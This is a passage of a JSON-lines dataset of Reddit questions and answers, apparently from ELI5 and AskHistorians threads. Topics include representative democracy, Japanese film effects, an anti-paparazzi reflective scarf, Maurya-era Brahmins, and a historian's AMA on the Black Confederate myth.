precision.\n\nWith JWST, GMT and ELT three excellent telescopes are under construction. They will revolutionize our view of the universe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/ITER"], ["https://www.reddit.com/r/askscience/comments/76szuu/what_large_research_projects_equivalent_in_scale/?ref=share&amp;ref_source=link"], ["http://eventhorizontelescope.org/"], ["https://en.wikipedia.org/wiki/KM3NeT"], ["https://www.youtube.com/watch?v=v6ihVeEoUdo"], ["https://en.m.wikipedia.org/wiki/International_Linear_Collider"], []]}
{"q_id": "4gdwy7", "title": "the intent of democracy is to let the majority rule yet there are many instances where despite an overwhelming majority view on a certain topic change is not made and the few control the many- how is this possible?", "selftext": "I started to give examples here but I stopped myself because I didn't want to side track the meat of the question: but I will give just one. Marijuana legalization. We all know by now that, when compared to cigarettes and alcohol it is certainly not any more harmful than either, that the tax revenue could be substantial and useful, there is a benefit to certain health issues, and the majority of the population want it to be legalized yet little to nothing happens and in some states you can still be jailed for it. What gives? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4gdwy7/eli5_the_intent_of_democracy_is_to_let_the/", "answers": {"a_id": ["d2gnlho", "d2gnoac", "d2go0cj", "d2go2w1", "d2go3nx", "d2go52c", "d2h6eg4", "d2ha1zs", "d2ha6zx", "d2hbep1"], "score": [2, 11, 68, 3, 7, 5, 2, 5, 2, 2], "text": ["Democracy is designed to allow the people to have a say in government, not to outright control government. The majority does not always know what is best for itself, and the majority has a terrible way of treating the minority.\n\nFor example, if the US was a true democracy there would not be gay marriage as almost every public vote that has occurred on the topic has gone against gay marriage.\n\nThe old saying is that democracy works until 51% of people vote to kill the other 49% at dawn. ", "In the US, it's a representative democracy (a Republic, if you will).\n\nThere may be a majority of people who want marijuana legalized.  We'll go with that point.\n\nIf the politicians who represent you don't vote that way, do you vote them out?  If you don't, then people really didn't care very much about marijuana legalization.  Whereas on the other side, maybe the people who are against marijuana legalization would definitely vote out their politicians if they voted to legalize it.\n\nIt has to do with how passionate each side is regarding the issue (this is also true for gun control where one side is balls-out having sex with their guns and the other side is a bit meh about it).  Politicians want to keep their jobs.  If you're not going to throw them out when they don't vote your way, why should they vote your way?", "First, we aren't a DIRECT democracy in the US. Our founding fathers were actually terrified of a direct democracy, so they created many checks and balances that are meant to stop the majority from making drastic changes despite the rights of the minority. So despite the fact that roughly 54% of the nation supports legalization, there exists no mechanism for that 54% to directly change the law.\n\nSecond, only 54% of the population supports legalization, and a majority of those people are younger. This means that many of them don't vote. I don't have hard numbers, but I'd wager that only about 1 in 3 likely voters would actually vote for legalization. If only a third of voters would even vote for pro legalization candidates, then there's no majority to push for change.\n\nThird, political change takes time in a country of 320 million people. Despite that, marijuana is legal for some sort of use in roughly 25 States, with several having already voted to legalize it completely. Change is coming, but it's slow going, just as the founding fathers intended.\n\nEdit: corrected mistake pointed out below.", "Pro-legalization has only been the majority position for a few years. It takes four years for a president to be up for reelection, and 2-6 years for members of Congress. So we sacrifice some degree of government responsiveness in order to maintain some degree of stability.\n\nOn top of that, older people (who are more likely to oppose legalization) generally vote in higher numbers. So it isn't even clear that the majority of voters are pro-legalization at this point.", "- Just because the majority of the population is in favour (or against) a certain idea, doesn't mean the majority of the *voters* is in favour. There are a lot of people who do not actually go out and vote (or only vote in presidential elections), in which case they are not going to be able to change thing. If, of a population, 1000 people are in favour of something and 800 are against it, that is meaningless if only 600 proponents actually go out and vote, while 700 opponents vote.\n\n- Not everybody rates every issue as equally important. There are plenty of people who are willing to vote for politicians that do not line up with their beliefs on some issues because they do align with them on their hot button issues. For example, someone might be in favour of marijuana legalisation, but mostly that issue is pretty unimportant to them. More important to them is another issue (like abortion or certain tax plans) and they will vote for politicians that line up with their idea on that issue, even if those politicians are against marijuana legalisation. \n\n- Sometimes things are just more complicated than 'we are in favour, so we make it legal'. A country might be bound by certain international treaties that prevent them from carrying that out. Sometimes the ideas people are in favour for are completely unrealistic, because many people don't actually know how things work. ", "Democracy does not equal Democracy\n\nThere many kinds of government and when we say Democracy we lump together several forms many of which are only representative democracies. This means instead of voting on issues yourself (thus letting the public decide) you vote for representatives who will do this for you. Ultimately because they get the power to decide from the people it\u00b4s still a democracy but not a direct one.\n\nWhy would we ever chose such a form over a direct democracy? Well there are disadvantages and advantages but chiefly because:\n\na) the decisions that need to be made are complex and wide-reaching so we need people dedicated to understanding, drafting and deciding on laws\n\nb) stability in government is valuable and electing representatives for a given time instead of letting everybody vote guarantees more stability\n\nc) who has time to vote and consider every law proposal? A pure direct democracy would either be hugely unproductive or suffer from extremely low participation\n\nConsequently representatives should decide for the good of the people and not just follow the majority will blindly.\n\nThis is the theoretical explanation, pragmatically you also have issues such as corruption, lobbying and politicians who form their own class that doesn\u00b4t really know the will and needs of all parts of the public.", "I encourage you to read \"Noam Chomky - Understanding Power\". It will open your eyes on a lot of decision taming around the world.", "Democracy is absolutely not the rule of the majority. Modern democracy is about the rule of the law. The idea is to have a system in place to devise and enforce rules imparcially so people can predict the outcome of their decisions. The ever present danger of a someone building a majority and hacking the process is called populism, and can ruin a lesser democratic system. Votes and majority decisions are important for democracies for obvious reasons, but the goal of the political system is not to do whatever most people want at any given moment.", "Strict majoritarianism is a bad way to run a government. Super-majority concensus on specific issues is not very common and when 50% + 1 is the end of every discussion then anyone out of the mainstream has no voice. \n\nFor example, say an amazing new resource was discovered that just happens to exist primarily on Native reservations. The federal government puts it up to a national vote what should be done and overwhelmingly people vote to buy the land from the various tribes at twice the market value. 99% of the natives vote against it but they're outnumbered by a few hundred million non-native voters. Democracy successful?", "We have a representative republic not a straight up democracy. Democracy really really really sucks for Minority groups. So you gave an example of Marijuana use. Well for parts of this country's history the majority did not like marijuana use, and even though this drug use rarely effects anyone but the user the majority enforced horrible  penalties on people who sold and used simply because they had the majority on their side. Now think about other failings of democracy such as gay rights, or segregation. Democracy allows for minority groups to be steam rolled by the majority. \n\nSo we do our best to combat this by not allowing laws to be passed without the minority group having a say. Thats why we have a house, senate, and president. No one branch can pass a law on its own, and its hard to pass a bill without at least some Minority group support. That is unless you have a super majority, meaning you have the votes to pass a law even without any minority votes. In addition to this we have the constitution that protects our natural rights and the Supreme court can decide whether or not a law is constitutional. That way even if you had The entire senate, house and president 100 percent in agreement it wouldn't matter if it was unconstitutional.\n\nAll that said these stop gaps to reign in the negative effects of democracy begin to fail when the government gets too big and tackles things it shouldn't. Which happens often these days."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "95j4w7", "title": "why, if japan is one of the most technologically developed civilizations on earth, are their special effects techniques in cinema still behind that of hollywood films? i.e godzilla films", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95j4w7/eli5_why_if_japan_is_one_of_the_most/", "answers": {"a_id": ["e3t5yej", "e3t8244", "e3t8h69", "e3te4iv"], "score": [3, 6, 12, 3], "text": ["Have you even seen the most recent Godzilla? Google image search Shin Godzilla and you'll have an answer.", "The population of Japan is only 127M and their movies, outside of niche markets like anime fans, aren't particularly popular outside the country.  The population of the US is 325M and there's approximately 1.5B English speakers around the world.\n\nThere's a *much* larger market for English movies meaning that they have *much* larger budgets.  That doesn't even get into the aggressive marketing of translated editions in non-English markets.", "Making a film is for-profit. Film-makers will be pressured by executives to spend the minimum amount of money necessary to meet a given financial target. This target translates for you - the viewer - as you enjoying the movie, thus spending money on it.\n\nThe Japanese public are not put off by lower-tier VFX to the same degree as, eg, americans are. This is obviously the case, because if it were not, then japanese films with typical japanese VFX would tank for looking fake. Since they are willing to accept that quality of work, that is the quality of work that is produced.\n\nHowever, it would be wrong to assume from this that the quality of work produced exhibits the limits of japanese artistic merit in the domain of computer-generated imagery. If you are interested in seeing a somewhat modern example of japanese digital artists making a movie, I would suggest watching *Final Fantasy XV: Kingsglaive*. Critical consensus is that the plot is pretty badly conveyed; but the movie is the equal of any major CG studio's works in terms of its visual aesthetics. Square Enix, you see, is trying to position itself as the market leader for visual fidelity in computer graphics. Based on some recent tech demos, it seems that Kingsglaive was a way to subsidize the creation of myriad digital assets that could then be used to work with next-gen graphics cards - a tech demo recently released showed (in real time) a character from the movie looking exactly as he did in the movie.\n\nIn this context, Kingsglaive becomes an advertisement of the future capabilities of Square Enix's new graphics engine; and an advertisement can only be effective if it either accurately shows or oversells the capacities of the product promised. Thus, SE spent the money to achieve peerless quality, and demonstrated (unintentionally, as this was orthogonal to their goals) that japanese special effects can match the western standard, when the investment in that standard matches the western standard of investment.\n\nThe flaw with japanese VFX, after all, isn't in compositing. It's that the digital assets are unrealistic to begin with.", "Personally, I'd really appreciate movies that used older school special effects, rather than cging the fuck out of everything.\n\nTake Ghostbusters in 1985, for example. The ghosts were puppets with hand drawn animation overlay. How the fuck did they make Star Wars in the 70's??\n\nI also really like old school stop motion and claymation. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4sn0ak", "title": "how does 'anti-paparazzi scarf' work ?", "selftext": "I just saw the [Anti-Paparazzi Scarf.](_URL_0_) Explain how it works. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4sn0ak/eli5_how_does_antipaparazzi_scarf_work/", "answers": {"a_id": ["d5air91", "d5akg8z", "d5as8rw", "d5avdkn", "d5ax1y7", "d5ax88h", "d5axka2", "d5az79o", "d5azv23", "d5brfvy"], "score": [47, 354, 2, 10, 4, 5, 29, 2, 2, 2], "text": ["It's made of Scotchlite, which is a fabric designed by 3M. The material is highly reflective and typically used for high-visibility applications (construction workers).\n\nWhen you photograph it with a flash, the sudden discharge of bright light is reflected back to the camera lens. ", "Cameras can be set up a couple of ways. one way to use them very quickly in unpredictable situations (Like paparazzi for instance) is to put a flash on top so you always have enough light, and to let the camera pick your exposure for you so you don't have to take the time to set up the settings.\n\nIn that sort of mode, when you take the photo, the camera very quickly does a couple of things.\n\nFirst, it starts up the light meter inside the camera. Then, it fires a \"pre flash\" to see how far away the scene/subject is to determine how bright the real flash needs to be, and to set the rest of the parameters in camera (ISO, aperture, and shutter speed)\n\nWhen that pre-flash hits the really reflective scarf, a LOT of light comes back at the camera, directly off of the scarf, which tells it that the scene is really bright, and doesn't need much extra light. So the camera decides to only put out a little bit of light from the flash, and to only let in a little bit of light from the ISO, aperture, and shutter speed, so in the final image, the scarf is exposed correctly, but because nothing else in the scene is so reflective, the rest of the image looks way too dark, and isn't usable.\n\nIt's really easy to beat, however, by taking the time to set the camera manually for the exposure you know you'll need, or by not using a flash on the camera (which is how they get the \"before\" photo in the examples)\n\n\nTLDR: The scarf reflects the flash from the camera and tricks the camera into under-exposing the image so much that it isn't usable. ", "Very simple. Camera uses flash - >  scarf reflects light - >  camera senses a lot of light and lowers the exposure (darkens image so it's not like looking at the sun) - >  person wearing the scarf is now dark - >  photo can't be sold/used", "The scarf is made from highly-reflective material, similar to a road workers vest, bicycle clothing, etc.\n\nPaparazzi like to use flash a lot because they don't have the time or control of the situation to expose using the ambient light.  Using a flash can increase their chances of getting a worthwhile photo in their limited time.  When their flash goes off, much of it gets reflected back at the camera causing the camera to overcompensate and lower the exposure, so that the rest of the picture looks too dark.\n\nIt is easily beaten by simply using manual settings, and the scarf would only work during night because in broad daylight they paparazzi probably aren't using flash, and the ambient light is closer to the actual exposure.  Still, at night it can help prevent photos being taken of you, or at least make it more difficult.", "In order to get a picture not to look too bright, most modern cameras will adjust when taking a picture to make sure that the brightest parts are only so bright.\n\nTo avoid a picture looking to dim (among other reasons), photographers use a flash to make sure there's enough light.\n\nCombining these two strategies is important to getting a good-looking picture of a person where you can't control the light, such as with the sorts of pictures paparazzi take.\n\nThis scarf messes with the system by reflecting a _lot_ of light from the flash back at the camera (it's made of a special material that's very good at this); that makes the scarf the brightest thing in the picture _by a lot_, so when the camera tries to adjust itself so that the scarf isn't too bright, the rest of the picture becomes too dim to be useful.", "Everyone else has explained how it works. But the truth is that it only works under very specific circumstances.\n\nPaparazzi are often zooming, and so not using a flash. Or they're taking pics during the day, or under pre-existing artificial light, and so not (necessarily) using flash. Or they can just set the camera manually, rather than flash-metering. In these cases, the scarf does nothing.\n\nIt's only useful close-up, with flash, when using the auto-metering. \n\nThe smart thing would just be to set your camera to take 2 pics: one with flash and one without.", "To add to what people have already said, the scarf is so reflective because it is made with thousands of tiny [retroreflectors](_URL_0_) - reflective surfaces designed to reflect light directly back to the source.\n\nThis reflects more of the light from the flash directly back towards the camera, instead of just reflecting the light in random directions.  If, for example, the scarf were covered in sequins, it wouldn't work the same, because they'd reflect the light in random directions.", "Why not just make a scarf with very bright infrared LEDs?", "There are little glass spheres adhered to a silver cloth. When light enters a sphere it refracts at 45 degrees, hits the silver backing and reflects at 90 degrees, and refracts another 45 degrees when it exits the sphere, totaling 180 degrees. In other words, the angle the light hits the sphere is the same angle it exits, so it's like the flash is shining directly back on itself. ", "The pap's use flashes so they can be sure to more likely get a well lit, sharp picture.\n\nThe human eye has a much wider \"dynamic range\" than a camera does.\n\nThe Dynamic range can be best described as what dark and light objects you can see at the same time. So we as humans can see/record darker and lighter images at the same time.\n\nWhen a camera flashed, the scarf becomes too bright for the camera to see the darker objects in the picture."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/LxxdHSE.jpg"], "answers_urls": [[], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Retroreflector"], [], [], []]}
{"q_id": "1cgez9", "title": "Can somebody guide me that how Brahmins lived (basically their condition and daily life) in India during Chandragupta Maurya Empire?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1cgez9/can_somebody_guide_me_that_how_brahmins_lived/", "answers": {"a_id": ["c9gbprh", "c9geznz", "c9gx7o9"], "score": [5, 2, 3], "text": ["Is this for an assignment?", "Yes I have to present a project on Brahmins and their status during Chandragupta Maurya Empire, considering Brahmins played a major role in helping King Chandragupta attaining his success. ", "I assume that you have read about [Chanakya](_URL_0_) and his book [Arthashastra](_URL_1_). Chanakya was the guru of Chandragupta Maurya and instrumental in making him a the ruler that he was. His book, Arthashastra might provide some insight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Chanakya", "http://en.wikipedia.org/wiki/Artha%C5%9B%C4%81stra"]]}
{"q_id": "1elkoy", "title": "why is it that when i wear a green t-shirt, the color of my eyes seem to show more? i have green eyes.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1elkoy/eli5_why_is_it_that_when_i_wear_a_green_tshirt/", "answers": {"a_id": ["ca1mtt8"], "score": [2], "text": ["From my understanding, the eye color doesn't just change. The pigment doesn't appear or disappear. Most of the time, the change of color is perceived. The bright lighting or colors of background can reflect off of your eye and tend to look similar to the background's hue if its already close to your eye color. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "rlhgl", "title": "how do gas stations get and how do i pay for that 9/10th of a penny?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rlhgl/how_do_gas_stations_get_and_how_do_i_pay_for_that/", "answers": {"a_id": ["c46s1ho", "c46srmd"], "score": [4, 11], "text": ["It makes it look like the gas is cheaper than it really is so that we are more willing to go to their gas station. The gas stations dont really have to charge 9/10ths of a penny, they just round it to the nearest cent. ", "It's been answered before:\n_URL_0_\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/comments/r5go0/why_do_gas_stations_list_the_price_of_910_of_a/", "http://www.reddit.com/r/explainlikeimfive/comments/oz3td/eli5_gas_prices_and_how_they_get_away_with/"]]}
{"q_id": "frr6uk", "title": "My Name is Kevin M. Levin and I am the Author of 'Searching For Black Confederates: The Civil War's Most Persistent Myth.' Have a Question About this Subject? I'll Do My Best to Answer It.", "selftext": "I teach American history at a small private school outside of Boston. I am the author of *Searching for Black Confederates: The Civil War's Most Persistent Myth,* *Remembering the Battle of the Crater: War as Murder* and editor of *Interpreting the Civil War at Museums and Historic Sites*. You can find my writings at the Atlantic, The Daily Beast, Smithsonian, New York Times, and Washington Post. You can also find me online at my blog [Civil War Memory](_URL_0_) and on twitter \\[[@kevinlevin](_URL_1_)\\].\n\nThe subject of Black Confederates is one of the most misunderstood topics in American history.\n\nHere's the book blurb:\n\nMore than 150 years after the end of the Civil War, scores of websites,  articles, and organizations repeat claims that anywhere between 500 and  100,000 free and enslaved African Americans fought willingly as soldiers  in the Confederate army. But as Kevin M. Levin argues in this carefully  researched book, such claims would have shocked anyone who served in  the army during the war itself. Levin explains that imprecise  contemporary accounts, poorly understood primary-source material, and  other misrepresentations helped fuel the rise of the black Confederate  myth. Moreover, Levin shows that belief in the existence of black  Confederate soldiers largely originated in the 1970s, a period that  witnessed both a significant shift in how Americans remembered the Civil  War and a rising backlash against African Americans\u2019 gains in civil  rights and other realms.\n\nLevin also investigates the roles that  African Americans actually performed in the Confederate army, including  personal body servants and forced laborers. He demonstrates that  regardless of the dangers these men faced in camp, on the march, and on  the battlefield, their legal status remained unchanged. Even long after  the guns fell silent, Confederate veterans and other writers remembered  these men as former slaves and not as soldiers, an important reminder  that how the war is remembered often runs counter to history.\n\n[_URL_2_](_URL_2_)\n\nYou can also buy it at Amazon: [_URL_4_](_URL_4_)\n\nSupport your local bookstore through Indiebound: [_URL_3_](_URL_3_)\n\nFire away.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/frr6uk/my_name_is_kevin_m_levin_and_i_am_the_author_of/", "answers": {"a_id": ["flzrzbn", "flx71iw", "flx97qp", "flx9q6b", "flxa29k", "flxaf4d", "flxazn5", "flxbiww", "flxccck", "flxcfs5", "flxcz1k", "flxd0x6", "flxd2h9", "flxdiy5", "flxdr2p", "flxdtt2", "flxe9ee", "flxeusy", "flxfja1", "flxft36", "flxg98b", "flxg9nr", "flxgkf7", "flxgy0l", "flxh3s1", "flxi78h", "flxirds", "flxj53j", "flxjc6i", "flxkphn", "flxlxms", "flxmd8o", "flxnkbw", "flxny2f", "flxpvxb", "flxqcr5", "flxqk1r", "flxqvnc", "flxrbeg", "flxs2ye", "flxt33u", "flxt87q", "flxtnzf", "flxtw27", "flxuc40", "flxveaf", "flxwc03", "flxxeto", "flxxx3a", "flxyt0j", "flxz1wj", "fly2mjx", "fly3ori", "fly4ojg", "fly5cmy", "fly6jl7", "fly6wus", "fly772s", "flyb9xd", "flycw9z", "flyo0r0"], "score": [2, 278, 76, 324, 135, 101, 196, 8, 82, 12, 100, 19, 12, 24, 16, 22, 11, 22, 10, 5, 24, 17, 19, 31, 15, 6, 13, 2, 3, 7, 4, 3, 11, 3, 2, 11, 5, 2, 3, 6, 9, 12, 3, 4, 3, 7, 8, 4, 19, 5, 2, 7, 3, 7, 6, 2, 3, 3, 2, 2, 2], "text": ["What do you think about this? I sent it to my history professor and he simply took note of it and found it interesting, but this forum attempted to find documentation. Granted a few 100 specific data points don't necessarily give you the best picture. \n\n[_URL_0_](_URL_0_)\n\nIt seems to initially run counter the the orthodox narrative, although that does not inherently make it wrong. Its still possible to integrate the data in the thread into the orthodox narrative. I'd argue the data listed there is only a tiny minority since there was no real rush to formalize the status of slaves. The methodology seems strict, and that plays into the results, and does skew the data to me at least. How legitimate is it? In order to avoid trolls, you do need to create an account to see the individual entries, so I apologize in advance.", "Hi! Thank you for answering our questions. This might be out of scope slightly, but you mention that African-American slaves were used as force labor in the Confederate Army, did the Confederate Navy also use slaves for forced labor?", "Who were the key actors in the '70s that promoted the myth of the willing black confederate soldier, and who was the intended audience of the myth?", "Thank you so much for doing this AMA with us. *Searching for Black Confederates* was one of the most insightful books I've read of recent, and I could pick your brain about it for awhile, but I'll try not to overwhelm and keep it to a few.\n\nOne of the most interesting points was your discussion of Douglass and his willingness to uncritically peddle reports of entire units of black men under arms for the traitors, and within that, John Parker seems to jump out the most. What do you make of his entire testimony? I stands out as quite interesting to me because even if taken *entirely* uncritically it only can speak to a handful of men forced under gunpoint to assist in battery operation, and thus really *doesn't* support Douglass all that well even given full credence, but given the context in which Douglass used his recollections, it seems hard to even give that small incident our full credulity.\n\nLooking more modern, what do you feel motivates scholars like Henry Louis Gates to peddle the Black Confederate myth? To be frank, I was quite taken aback to discover his involvement in its continued existence, and it kind of soured me on his other scholarship given how cursory, at best, his research on this seems to be. \n\nFinally, and this goes way back, your old article \"William Mahone, the Lost Cause, and Civil War History\" got on my radar way back due to its touching on that topic near and dear to me, dueling, but I also blame you and James T. Moore for garnering an enduring interest in the Readjusters in Virginia. An historical counterfactual that has always been a bee in my bonnet since is whether or not the Readjusters could have stayed in power and kept the Redeemers at bay, and I'd love to hear your thoughts on it. Was the Danville Riots merely the straw that quickened their inevitable loss of power, or would they have been able to better solidify their hold and prevent the turn to apartheid if they had won the 1883 state elections?\n\nRelated... I know you've written in the past on your blog that a book-length treatment of Mahone is not on the horizon, and assuming my abject begging won't make you reconsider, do you happen to have any recommendations on recent scholarship to look into at least?", "Hi Kevin,\n\nI've read in McPherson's *Embattled Rebel* that some Confederate generals, such as Patrick Cleburne, made suggestions in late 1863/early 1864 to start recruiting black soldiers for the CSA, but no one took it seriously and there were attempts to suppress it. Would he be the first prominent Confederate to put together a plan for the CSA to use black soldiers?", "Hi Kevin, quick theoretical pedagogy question for you.  As a teacher, which do you think is more important: teaching students that black confederates were a myth, or teaching students the skills to research for themselves whether black confederates were a myth? And have you read Sam Wineburg\u2019s work on that question?", "Did any of the officers' slaves try to assassinate them? Were there any uprisings?\n\nWho did the slaves belong to? Where they the property of the Confederate Army itself, or were they on loan from wealthy slaveowners?", "Hi Kevin,\n\nThis may not be quite to your area of expertise but what's your opinion on books like \"Time on the Cross\" by Fogel and Engermann that attempt to reexamine or rehabilitate slavery as a socio-economic system and has it come into your work?", "What have you found to be the most outrageous claim you've come across when researching this subject? Something that made you get up from the desk and take a walk just to deal with the sheer audacity of the claim?", "Heard you interviewed on CBC, your book is my reading list now.  Not Anerican, but interesting topic.", "Hello Kevin!\n\nI think what you are doing is really great. \n\nI have 2 questions. \n\n1) Do you think there should be a shift in how we teach this in schools, with a devoted focus on the African Americans role in the Civil War, especially as it relates to the Confederacy?\n\n2) Do you wish your middle name started with an E so everyone could call you Kevin Eleven?", "Does the belief of Black Confederate soldiers permeate equally in the Southern states or are there specific regions where it is more prominent?", "This sounds like an interesting topic that I wish I knew enough to ask an informed question. If this is too general or missed the point feel free to ignore.\n\nWhat's the most surprising thing you have learned through your research? Anything you did not expect to be true?", "What primary sources did you use to establish the myth?  \n\nDid journals and diaries play a roll in your primary source collection?", "Correct me if I'm wrong, please, but I believe that the former Confederate States paid pensions to some ex-Confederate soldiers or otherwise provided benefits at taxpayer expense - if so, are there any records of anything like that being paid to any Black ex-Confederate soldiers?\n\n\\[on edit\\]\n\nI would expect that no such records exist and that this might be a good question to put to those who claim that there were Black Confederate soldiers.", "1: Theoretically, if I was a well-off free black person (with...interesting views) and decided I wanted to join the Confederate army proper, would this have been possible? \n\nHow would I have been treat? \n\nAway from the military would I have seen my situation worsen in the course of the war due to my race?\n\n2: In terms of black labourers in the Confederate army quite how bad was their treatment? Are we talking unequal but broadly decent like various Asian labourers during the World Wars or full slavery at its worst horror?", "Hello, what an interesting subject.\n\n  \n\nDid any of the slaves or free persons tried to either smuggle people to freedom or revolt since they had close access to firearms?", "I've suggested we replace Confederate statues with ones of Southern Unionists. People from the south that fought to keep the country whole. This would give southern communities memorials to local heroes from the Civil War instead of traitors.\n\nWhat are your thoughts on memorials to Southern Unionists? Are there any individuals you think should deserve more praise than they get?\n\nEdit: typo", "Thanks for doing this! \n\nIn the blurb above you note \"(the 1970s) a period that witnessed both a significant shift in how Americans remembered the Civil  War\"...can you explain this shift? How was the Civil War viewed prior to the 70s and what changed?", "I read somewhere that the labour of Free African-Americans was appropriated by the military (I didn't find the correct word for that), and that this was under the same laws that slave labour was appropriated. Is this true?", "Back when I was an edgy 13 year old, I read a book called \"The Politically Incorrect Guide to the Confederacy\" (I know...I was 13...)\n\nIt was filled with stories of black soldiers, but what stuck out to me was a claim that the first union officer killed during the war was killed by a slave defending his master's homestead. \n\nI no longer have to book, but do you know of this story and how it might have originated?", "Why do you think that the US government allowed the south to basically rewrite history as a noble lost cause? It's usually the Victor that writes history but there are statues of Confederate generals in Union states (even Washington).", "It sounds like you are doing some thinking about the proliferation of false narratives via the internet.\n\nI'm curious about your thoughts about using an online platform to do an AMA.  Does your thinking and research about the modern proliferation of these ideas inform how you engage with a media platform like Reddit?  What lessons do you take about how we should responsibly engage on anonymous platforms like Reddit (I realize this AMA isn't exactly an anonymous exercise).", "Hi Kevin, \n\nThank you for writing this. After I heard you on Civil War Talk Radio I instantly used my monthly Audible credit on it. I am curious about what the reaction to your book has been. I know some people who ascribe the Lost Cause are both very vocal and very entrenched in their views. Have you had to deal with any of these people in person or online? Does the still sensitive nature of the topic cause you to approach presenting it any differently?", "I have 2 questions:\n\n1. It seems like working as enslaved people during the war would present the workers with many opportunities to communicate that wouldn't be possible in their previous circumstances. Were they able to use these circumstances to spread information?\n2. I am interested that this rumor started in the 1970's instead of in the times of The Lost Cause. Was it present there and not just as prominent, or was it something that started later? Why do you think that is?", "Can you explain the rise of the use of the \u201cWar of Northern Aggression\u201d?  Are the people propagating the myth about the black confederates also the ones pushing for the use of this term?", "Can I ask a slightly off topic question and maybe you can point me in the right direction? I do not have any knowledge other than a general knowledge of the civil war but I'm from the south and have a question that just keeps coming to me when the topic is brought up or when I see a Confederate flag. How did rich plantation owners convince the poor white men to die for their access to slave labor, which likely kept poor families poor?", "Were these slaves put in units indiscriminately or were they only used in certain regions? I wonder for example if Lee's Army of Northern Virginia had them because they obviously pushed into Northern Territory, an area less hostile to slaves, potentially making desertion a more viable option than in the south.", "Throughout your responses you mention an \"evolving Civil War memory that now emphasized slavery, emancipation, and the service of United States Colored Troops\".  What memory was it evolving from?", "Does your book mention the 1st Louisiana Native Guard? Does it not actually consist of freed black men? Or is it not considered part of the army cause it was part of a militia? I remember it being counted as an example of black confederates back when i was in college.", "Hey Kevin! Relatively speaking, the Civil War is a period rich in primary sources. I wonder if you\u2019ve thought at all about the challenges future historians will have dealing with the abundance and complexity of source materials being generated now at any given moment when they try to understand our present.", "Thanks for all the information you have provided so far. I'm curious if there was any sort of, not rebellion but maybe complete unwillingness with slaves to help with southern production for the war effort. Examples such as uniforms, firearm assembly, or metal casting.", "Are there any documented interactions between slaves in Confederate armies and black troops (USCTs, volunteer regiments, etc.)?", "there was a question below, \"Throughout your responses you mention an \"evolving Civil War memory that now emphasized slavery, emancipation, and the service of United States Colored Troops\". What memory was it evolving from?\" that i also had.  \n\nthe reason i had this question is that my dad was a civil war historian and we spent my childhood traveling to battlefields in and around va.  he collected so many books that we had a whole wall to display them, well over five hundred.  the thing is, he died in '87 and we donated the books to the local library.  he always told me the civil war was about states rights, not slavery, and i agreed since he had done so much research,  most of it involving primary sources and i even read some but most were boring to a teenager.  \n\nsince he isn't around to ask, was he wrong?", "Hello ,I am not American but I once talked with a dude on discord server who  claimed the reason why in Texas there were (more) black people that supported the Confederate  because there weren't cotton field in Texas and they were granted more freedom, how much truth is in that statement ?", "Dr. Levin, first of all, huge fan. Love your work. Especially on Twitter.  \nMy question, as a fellow historian (though much younger and less experienced), is about how we as historians can better reconnect the public with what we as historians do. This longstanding discussion in the historical community about the esoterica that commonly comes out of history academia has had a major component that deals with the necessity of nuance, as I am sure you know. You are one of the better known historians online, and you do a really amazing job with relaying important historical concepts to non-historians and the general public. As such, what are your feelings/comments/suggestions about the discussion on how to communicate historical concepts to the public, i.e. some say you need the nuance to appropriately/accurately/respectfully communicate history (but that this makes the material inaccessible to many audiences and people), while others argue that you need to simplify for non-historians to be able to sufficiently understand the complexities (but that this opens up room for misinterpretation or oversimplification or simply misunderstanding). Your thoughts?\n\nP.S. If you have the time, I would also be quite interested to hear what you think about the state of the humanities in higher ed at the moment. The job market for the humanities (particularly historians) and public perception of the humanities both seem to be in rough shape. Do you think there is still this ongoing \"culture war\" occurring in academia? If so, what kind of things are you, as an academic, experiencing?\n\nThank you so much for your work and this AMA.", "I wish I had an insightful question to ask, but instead I\u2019ll just say thank you for the time and research you\u2019re doing.  Simply reading these questions and your responses has prompted me to purchase your book.  So, from a fellow writer - thank you :)", "So what were the chances of these black labourers being killed? (Ik it's stupid)", "During your research what the most shocking thing you discovered about the civil war?", "I bought your book on audible! I cannot wait to give it a listen! I adore listening to these topics.\n\nI used to work with someone who was deeply involved with a Trump scandal in 2016. The guy is insane.\n\nDuring one business meeting, he claimed that not only was General Lee against slavery, but he never owned any slaves. I immediately went to Google and fact-checked him. Despite multiple sources, the man went away thinking I was incorrect and continued spreading misinformation.\n\nThank you for creating this book. They are truly invaluable for people like me.", "First off, thank you for doing this AMA! I know that towards the end of the war, the Confederate Congress desperately approved the formation of Black regiments as a last ditch effort to survive against the Union Army. What made they think the Black soldiers would remain loyal to their side instead of simply escaping? Of course, I'm aware that Confederate leaders did raise this point and offered freedom to the soldiers and their families in exchange of service. But the young men who would presumably make the bulk of the Black regiments would probably be single, and then escaping to the Union lines would give them freedom without having to fight for their oppressors. Did the Confederates plan to recruit only men with families and use their relatives to hold the soldiers in line? Or did they expect the Black soldiers to be loyal out of some sense of patriotism or duty?", "Thanks for doing this! And thanks for researching and publishing on this specific topic.\n\nMy question is a little different... I\u2019m an archivist at a state archives in a former confederate state. For my master\u2019s thesis in grad school, I wrote about Varina Davis\u2019s battles and disagreements with new wave Lost Cause orgs like the UDC (the only reason I mention this is to say that I\u2019m very familiar with Lost Cause ideology and its 